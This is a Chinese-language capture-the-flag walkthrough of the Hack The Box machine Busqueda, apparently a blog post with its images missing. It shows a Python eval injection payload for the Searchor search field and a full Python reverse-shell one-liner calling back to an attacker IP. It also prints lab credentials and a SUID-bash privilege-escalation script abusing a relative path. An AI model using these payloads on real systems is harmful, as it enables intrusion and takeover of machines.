HTB-Busqueda

HTB-Busqueda

  • 信息收集
    • 80端口
  • svc
  • svc -> root

HTB-Busqueda_第1张图片

信息收集

HTB-Busqueda_第2张图片
HTB-Busqueda_第3张图片

80端口

HTB-Busqueda_第4张图片
将ip和searcher.htb添加至/etc/hosts文件。
HTB-Busqueda_第5张图片
功能能就是你输入一个值,选择好搜索引擎后点击search,就会生成一个选择的搜索引擎里搜索你输入的值的链接。比如输入aster。

HTB-Busqueda_第6张图片
如果勾选了自动重定向就会使用你选择的引擎搜索你输入的值。
在这里插入图片描述

HTB-Busqueda_第7张图片

页面最底下有一句:Powered by Flask and Searchor 2.4.0 ,查看github的库。
HTB-Busqueda_第8张图片
在查看版本更新内容的时候发现searchor 2.4.2修复了一个vulnerability。
HTB-Busqueda_第9张图片
跟随链接进去查看具体是指什么。
HTB-Busqueda_第10张图片

看来是因为eval导致的任意代码执行。通过Github下载存在问题的版本,并开始阅读源代码。找到了eval所在位置。

HTB-Busqueda_第11张图片

使用burp suite抓包发现提交的参数信息。

HTB-Busqueda_第12张图片

如果将engine的值内容添加英文双引号,会出现不可用的引擎。
HTB-Busqueda_第13张图片

如果将query的值添加英文单引号,会出现因为错误而导致的空界面。
HTB-Busqueda_第14张图片

做个小实验,本意是你输入的query字符串会被输出两次。

HTB-Busqueda_第15张图片

比如我输入9,就会出现两个9组成的字符串。
在这里插入图片描述

输入单引号9('9)会出现什么呢?会出现语法错误。
HTB-Busqueda_第16张图片
这时候就可以通过eval注入一些恶意代码。

HTB-Busqueda_第17张图片
以加号(+)连接。

HTB-Busqueda_第18张图片

没错就是这个思路我们在网站的query处输入'+__import__("os").system("id")+'
HTB-Busqueda_第19张图片

svc

测试一下ping。

HTB-Busqueda_第20张图片

开始尝试反弹shell的语句。
在这里插入图片描述
似乎直接依靠命令反弹有点不好使,所以我打算制作一个shell或者直接上传nc。但是对方不为所动。

HTB-Busqueda_第21张图片

行吧。不过我感觉似乎有什么东西还是说python编译器在阻拦shell的建立。

HTB-Busqueda_第22张图片
经过测试我发现我的卡莉似乎坏了,换了个卡莉后正常(一定要保持良好的快照习惯啊,当然别忘了备份的习惯)。使用下面的python代码反弹shell。

python3 -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.14.31\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn(\"/bin/bash\")\'

HTB-Busqueda_第23张图片

svc -> root

在/var/www/app目录发现了.git。
在这里插入图片描述
肯能会涉及到git回滚,使用git log查看commit的版本会遇到安全权的问题,使用给出的命令添加安全例外。不过添加后运行git log就没动静了。
HTB-Busqueda_第24张图片

升级为较为完整的shell后执行git log会得到Initial commit初始提交。
HTB-Busqueda_第25张图片

查看系统内核时候发现可能会存在DirtyPipe。
在这里插入图片描述
HTB-Busqueda_第26张图片

不过经过几次对DirtyPipe的尝试后均无果。打住,继续收集信息。我们的小豌豆帮我们找到了很多网站。
HTB-Busqueda_第27张图片

其实就两个,将gitea.searcher.htb添加至hosts后。
HTB-Busqueda_第28张图片
登录界面?去找找有没有凭证。
HTB-Busqueda_第29张图片
去官网翻翻文档看有没有默认账号密码、默认安装路径等信息。很遗憾没有找到有用信息。回到最开始的/var/www/app里,去看看那个.git文件。
HTB-Busqueda_第30张图片
发现了凭证cody:jh1usoih2bkjaspwe92。
HTB-Busqueda_第31张图片

通过凭证登录后来到新的界面。可以看到cody先创建了一个仓库,administrator在仓库中创建了分支,administrator推送到了仓库的main分支。
HTB-Busqueda_第32张图片

但是我对比了一下这个仓库和/var/www/app里的,没有差距。可能cody是svc。
HTB-Busqueda_第33张图片
来看看/opt/scripts目录,我们没有权限直接查看system-checkup.py文件内容。

HTB-Busqueda_第34张图片
运行看看。

HTB-Busqueda_第35张图片
似乎我们能执行这三个命令docker-ps、docker-inspect、full-checkup。执行docker-ps试试。

sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-ps

在这里插入图片描述

就是这个docker-inspect,貌似是我们能唯一输入命令或者语句的地方。
在这里插入图片描述
full-checkup就是对容器进行体检。
HTB-Busqueda_第36张图片

注意力集中在docker-inspect上吧。看官方文档。
HTB-Busqueda_第37张图片
附上官网文档对docker inspect的用法说明。

HTB-Busqueda_第38张图片
使用sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-inspect --format='{{json .Config}}' 960873171e2e查看960873171e2ed的Json版本的config。
在这里插入图片描述
从中发现了数据库的凭证。

HTB-Busqueda_第39张图片
修改ID查看f84a6b33fb5a的Json版本的config。
HTB-Busqueda_第40张图片
不出意外这两个密码应该不是root的密码。试试用两个密码能不能登陆gitea的administrator。

  • yuiu1hoiu4i5ho1uh
  • jI86kGUuj87guWr3RyF

使用administrator:yuiu1hoiu4i5ho1uh登录gitea的administrator用户。

HTB-Busqueda_第41张图片

这几个脚本对应/opt/scripts文件的几个脚本。其中system-checkup.py就是我们能一root运行的脚本。非常有趣的就是屏幕截图上的一部分代码。
HTB-Busqueda_第42张图片
其中的__formatcontainer是我们可控的,他在最后会调用run_command函数来执行命令。其中run_command函数内有subprocess.run。
HTB-Busqueda_第43张图片
我们可以控制可控变量来进行代码执行。不过经过尝试几次后我觉得我可能没有办法实现任意代码执行,或者说这里是个兔子洞。

这段估计又是一个有趣的东西。他在当前目录找full-checkup.sh。
HTB-Busqueda_第44张图片

这次并没用绝对路径。当我们在/opt/scripts目录执行sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup,他是能够正常显示。
HTB-Busqueda_第45张图片

如果我们在/tmp目录下执行就会出现问题。
HTB-Busqueda_第46张图片
所以我们在/tmp目录创建一个full-checkup.sh文件内容如下:

#!/bin/bash
cp /bin/bash /tmp/bash
chmod +s /tmp/bash

修改好文件权限后执行sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup
HTB-Busqueda_第47张图片

HTB-Busqueda_第48张图片
HTB-Busqueda_第49张图片
似乎有一个脚本在对/tmp进行重置,注意一下即可。

你可能感兴趣的:(HTB,其他)